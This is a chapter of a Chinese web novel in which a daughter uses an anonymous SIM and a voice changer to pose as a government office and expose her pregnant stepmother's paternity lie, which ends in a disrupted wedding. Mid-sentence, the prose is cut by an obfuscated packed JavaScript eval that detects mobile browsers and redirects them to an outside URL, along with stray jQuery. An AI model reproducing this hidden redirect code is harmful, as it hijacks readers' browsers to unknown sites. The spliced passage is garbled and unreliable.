等待结果的几天，对姚烨来说，时间像是被拉长。


    她还是正常的上课下课。


    她看着父亲姚承安乐呵呵地给未出生的孩子想名字，看他笨拙地给周淑琴按摩浮肿的小腿。她觉得他怕是要失望了。


    周淑琴也因为上次孕吐时姚烨的着急的真诚反应，对她态度亲昵了许多。


    第五天傍晚，许砚初的微信头像在对话框跳了出来，只有简短两句话：


    【许你】：结果出了。老地方？


    绿江咖啡馆熟悉的角落里，三杯咖啡冒着热气。


    许砚初把平板轻轻推到姚烨面前。屏幕亮着，上面是打开的一份PDF报告。


    姚烨只觉得指尖冰凉，她没心思看前面那些密密麻麻的数据和图表，目光直接定格在了最后一行结论上：


    检验结论：依据现有资料和DNA分析结果，支持赵文强（样本提供者）是周淑琴（样本提供者）腹中胎儿的生物学父亲。


    空气瞬间凝固了。旁边的苏妍猛地吸了口气，下意识捂住了嘴。


    许砚初什么也没说，只是默默把平板抽回来，屏幕一暗。他抬眼看向姚烨，低声道：“确定了。是赵文强的。”


    “烨烨，”苏妍的声音压得低低的，带着点试探，“你……打算告诉你爸吗？”


    姚烨沉默了几秒。


    她扭过头，望向窗外沉沉的暮色，店内的灯光映在玻璃上。她的声音听起来异常平静：“直接说？”她转回头，视线扫过许砚初和苏妍，眼神里充满了冷漠，“那太便宜她了。”


    接着她顿了顿：“赵文强……他还不知道自己快当爹了吧？这么大一个‘惊喜’，不让他到场，多可惜？”


    许砚初立刻就明白了她的意思，他眉头微蹙：“你是想让赵文强知道周淑琴怀孕了？”


    “对。”姚烨点头，语气笃定，“而且，得让他知道，周淑琴现在正打扮得漂漂亮亮，准备风光大嫁，让我爸乐呵呵地当这个现成的爹呢。你们说，就凭赵文强那德性，又贪又爱占便宜，知道了这事儿，他会怎么做？”


    苏妍眼睛一亮，瞬间get到了姚烨的用意，兴奋地小声接话：“那还用说？肯定像饿狼闻着肉味一样扑过来！非得把这天给捅个窟窿不可！”


    “没错。与其我们费劲巴拉地去撕破脸，当个坏人，不如让他们自己把这台戏唱崩。我们嘛……”她拿起一张刚买的匿名电话卡，在手里晃了晃，“只需要，给赵文强递个话筒。”


    她迅速装好卡，打开变声软件，调了个温和又有点程式化的女声，清了清嗓子，拨通了赵文强的号码：


    “喂？你好，是赵文强先生吗？我这里是仁和街道办计生窗口。”


    她的语气颇有公事公办的调性，“是这样的，我们在核对育龄妇女信息的时候，看到周淑琴女士的孕产情况登记表。上面显示她之前有过一段婚姻，配偶栏登记的是您的信息。想跟您这边核实一下，关于她目前怀孕的这个孩子……”


    电话那头，赵文强先是愣住，紧接着是一声难以置信的语调：“什么？！周淑琴的……孩子……”


    结果如她所料，赵文强还不知道。姚烨传达完就挂了电话，朝苏妍和许砚初比了个OK的手势，嘴角勾起一个计划得逞的小得意，晃了晃手机——


    “话筒”递出去了。好戏，就快开场了。


    姚烨回家后，主动找到周淑琴。她脸上挂着颇为真诚的关心，声音也放得柔和：“周阿姨，您看您和我爸，证也领了，现在宝宝也安稳了，是不是该想想把喜宴补上啦？让亲朋好友都来沾沾喜气，也显得咱们姚家特别看重您和宝宝呀。”


    这话可算说到周淑琴心坎里了。怀孕加上姚承安无微不至的宠爱，她本就有点飘飘然。哪个女人不憧憬一场风光的婚礼呢？当晚，她就依偎在姚承安身边，轻声细语地吹风：“老姚啊，我觉得小烨今天说得挺在理。咱们这婚礼不办吧，总觉得少了点什么，亲戚们私下里也难免嘀咕，名不正言不顺似的……”


    姚承安本就对周淑琴有求必应，加上老来得子的巨大喜悦，当即拍板：“办！必须大办！风风光光地办！不能让淑琴你受委屈！”


    姚家的喜宴定在一周后，特意算了个宜嫁娶的好日子。姚承安包下了市中心一家颇有名气的酒店宴会厅。水晶吊灯流光溢彩，香槟塔堆叠晶莹剔透，宾客盈门，笑声和寒暄声交织成一片喜气的背景音。


    婚宴也邀请了姚烨的外公外婆。两位老人家虽然极其不情愿，但也还是从郊区赶来了。


    姚承安一身笔挺西装，红光满面，手臂里挽着身穿定制蕾丝婚纱、一脸甜蜜幸福的周淑琴，正一桌桌敬酒，接受着潮水般涌来的祝福。姚烨穿着素雅得体的裙子，安静地站在他们身后稍远一点的位置，像个冷静的旁观者，目光沉静地看着这一切。


    宴会厅里气氛正酣。司仪站在台上，用饱含深情的声音讲述着“中年相遇、佳偶天成”的动人故事，宾客们听得动容，纷纷举起酒杯，准备为这美好的结合共饮……


    就在这时！


    “哐当——”


    一声巨响猛地打断了温馨的氛围！宴会厅那两扇厚重的雕花大门被粗暴地撞开！


    一个穿着黑色衬衫的男人闯了进来，正是赵文强！


    “周淑琴！你个不要脸的臭婆娘！骗我说孩子打掉了，转头就挺着肚子傍大款了？你他妈问过老子没有？！”


    所有的笑容凝固在脸上，所有的祝福卡在喉咙里。全场死寂！


    姚承安脸上的红光瞬间褪尽，变得像猪肝一样难看。他难以置信地看着赵文强，又猛地转过头，死死盯住身边瞬间面无人色的新婚妻子，握着酒杯的手剧烈颤抖，昂贵的红酒泼洒出来，染红了洁白的桌布。


    “你……你胡说八道什么！”周淑琴终于找回一丝声音，语气虚弱。


    “我胡说？”赵文强狞笑一声，从口袋里掏出一张皱巴巴的纸，“啪”地一声拍在摆满佳肴的桌子上，“这白纸黑字写得清清楚楚！你肚子里那孩子是老子的！”


    宾客席瞬间炸开了锅！


    “天啊！真的假的？”


    “怪不得那么快就怀上了……”


    “太丢人了！这婚礼……”


    姚承安只觉得一股热血直冲头顶，眼前阵阵发黑。他死死盯着周淑琴，巨大的屈辱和愤怒让他浑身发抖，他猛地扬起


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968479|177449||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手——


    “啪！”


    一记响亮的耳光，狠狠地扇在了周淑琴的脸上！


    姚承安彻底崩溃了。他一把扯下胸前的礼花，狠狠摔在地上，又猛地掀翻了身边一张摆满菜肴的桌子！碗碟碎裂声、惊呼声四起。


    “滚！都给我滚！”


    一场盛大婚宴，顷刻间变成一地鸡毛。水晶灯依旧璀璨，却照着满地狼藉。


    宾客们面面相觑，气氛尴尬到极点。


    姚家的亲戚朋友又气又急，忙着安抚其他宾客、向酒店道歉、处理赔偿事宜。现场充满了难堪的沉默、低声的议论和收拾残局的声音。


    姚烨待在原地，冷冷地看着这一切发生，苏妍和许砚初穿过混乱的人群来到她身边。


    苏妍吓得够呛，紧紧抓住姚烨冰凉的手：“烨烨！你没事吧？天啊，怎么会这样！”


    许砚初眉头紧锁，他快速扫视了一下混乱的现场，声音低沉而沉稳：“这里太乱了。我们先离开。你爸那边……”他顿了顿，“他现在需要冷静，晚点再联系他。现在，我们先送你回家。”


    *


    刚走到门口，姚烨三人迎面撞见了外公外婆。


    外公眉头紧锁，看着姚烨，重重叹了口气，话里带着心疼：“烨烨啊，今天真是……让你跟着受委屈了，丢这么大的人！”


    “外公……”姚烨喉咙有些发紧，低声唤了一句，眼眶有些发红。


    外婆站在一旁，摸了摸姚烨的脑袋，一脸心疼。她接着外公的话茬说：“就是！我们早说了，当初你妈……唉，那会儿我们就劝过好多次，想把你接回来。你爸他……”


    外婆摇摇头，没把话说完，但意思再明白不过。


    他们始终觉得是姚承安没照顾好女儿。今天这场闹剧，不过是又一次印证了他们的看法。“你看看，这都闹成什么样了……”


    姚烨垂下眼，抱住了外婆。她知道外公外婆一直对父亲姚承安心有芥蒂。


    母亲去世后那段最难熬的日子，老两口不止一次想把她接走，是姚承安死活不同意，执意要把女儿留在身边。这份固执，落在老两口眼里，那就是明晃晃的不负责任。


    “罢了罢了，”外公摆摆手，脸上是看透世事的疲惫，“都是过去的事了，提它干嘛？现在啊，只要咱们烨烨平平安安、健健康康的，比什么都强！”他顿了顿，“至于那个姓姚的……哼，丢人现眼，随他去吧！”


    他目光转向姚烨身边的两位同学，脸上的皱纹舒展开，露出和蔼的笑容，随即语调也轻快起来：“哎哟，这两位……是烨烨的同学吧？”


    “外公好！”


    “外公好！”


    许砚初和苏妍赶紧礼貌地打招呼。


    外公眯着眼，仔细瞧了瞧苏妍，露出思索的神情：“嗯……这个小姑娘，瞧着脸熟，是不是叫……”


    “外公，我叫苏妍。”苏妍立刻接上话，笑得甜甜的。


    “对对对！苏妍！瞧我这记性，咱们之前见过的……”外公乐呵呵地点头，随即目光转向旁边挺拔安静的许砚初，带着点长辈初次见面的好奇和打量，“这位男同学……瞧着倒是眼生，头一回来家里吧？”